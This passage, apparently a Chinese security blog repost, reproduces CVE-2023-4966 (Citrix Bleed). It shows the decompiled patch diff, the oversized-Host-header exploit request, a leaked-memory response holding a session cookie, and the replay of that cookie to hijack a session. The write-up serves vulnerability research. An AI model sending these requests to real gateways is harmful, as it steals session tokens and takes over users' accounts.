-
Cache Size (Functions): 2048
-
Decompiler Max-Payload (Mbytes): 512
-
Decompiler Timeout (seconds): 900
-
Max Instructions per Function: 3000000
这两个函数都进行了相同的修补方式，是在发送响应之前进行的额外边界检查。如下面的片段中看到，该片段显示ns_aaa_oauth_send_openid_config的前后部分。
iVar3 = snprintf(print_temp_rule,0x20000,"{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri": "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}",uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);authv2_json_resp = 1;iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);
uVar7 = snprintf(print_temp_rule,0x20000,"{"issuer": "https://%.*s", "authorization_endpoint": "https://%.*s/oauth/ idp/login", "token_endpoint": "https://%.*s/oauth/idp/token", "jwks_uri": "https://%.*s/oauth/idp/certs", "response_types_supported": ["code", "toke n", "id_token"], "id_token_signing_alg_values_supported": ["RS256"], "end _session_endpoint": "https://%.*s/oauth/idp/logout", "frontchannel_logout_sup ported": true, "scopes_supported": ["openid", "ctxs_cc"], "claims_support ed": ["sub", "iss", "aud", "exp", "iat", "auth_time", "acr", "amr ", "email", "given_name", "family_name", "nickname"], "userinfo_endpoin t": "https://%.*s/oauth/idp/userinfo", "subject_types_supported": ["public"]}",uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);uVar4 = 0x20;if (uVar7 < 0x20000) {authv2_json_resp = 1;iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);...}
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1Host: a <repeated 24812 times>Connection: close
收到如下响应，（很多不能打印的字符删掉了）.
HTTP/1.1 200 OKX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-Length: 147441Cache-control: no-cache, no-store, must-revalidatePragma: no-cacheContent-Type: application/json; charset=utf-8X-Citrix-Application: Receiver for Web{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡ðí§¡-ª¼tÙÌåDx013.1.48.47àd98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OKContent-Length: @@@@@Encode:@@@Cache-control: no-cachePragma: no-cacheContent-Type: text/htmlSet-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}ðååPÏÏH¡éÒÏeGÁ"RDEFAULTò #pack200-gzipcompressdeflategzipdentityþÿÿÿÿÿ©VPN_GLOBALÿÿÿÿÿÿ è"AAA_PARAMí
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1Host: 192.168.1.51Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42Content-Length: 0Connection: closeHTTP/1.1 200 OKX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockContent-Length: 4Cache-control: no-cache, no-store, must-revalidatePragma: no-cacheContent-Type: text/plain; charset=utf-8X-Citrix-Application: Receiver for Webtestuser1
原文始发于微信公众号（军机故阁）：CVE-2023-4966复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论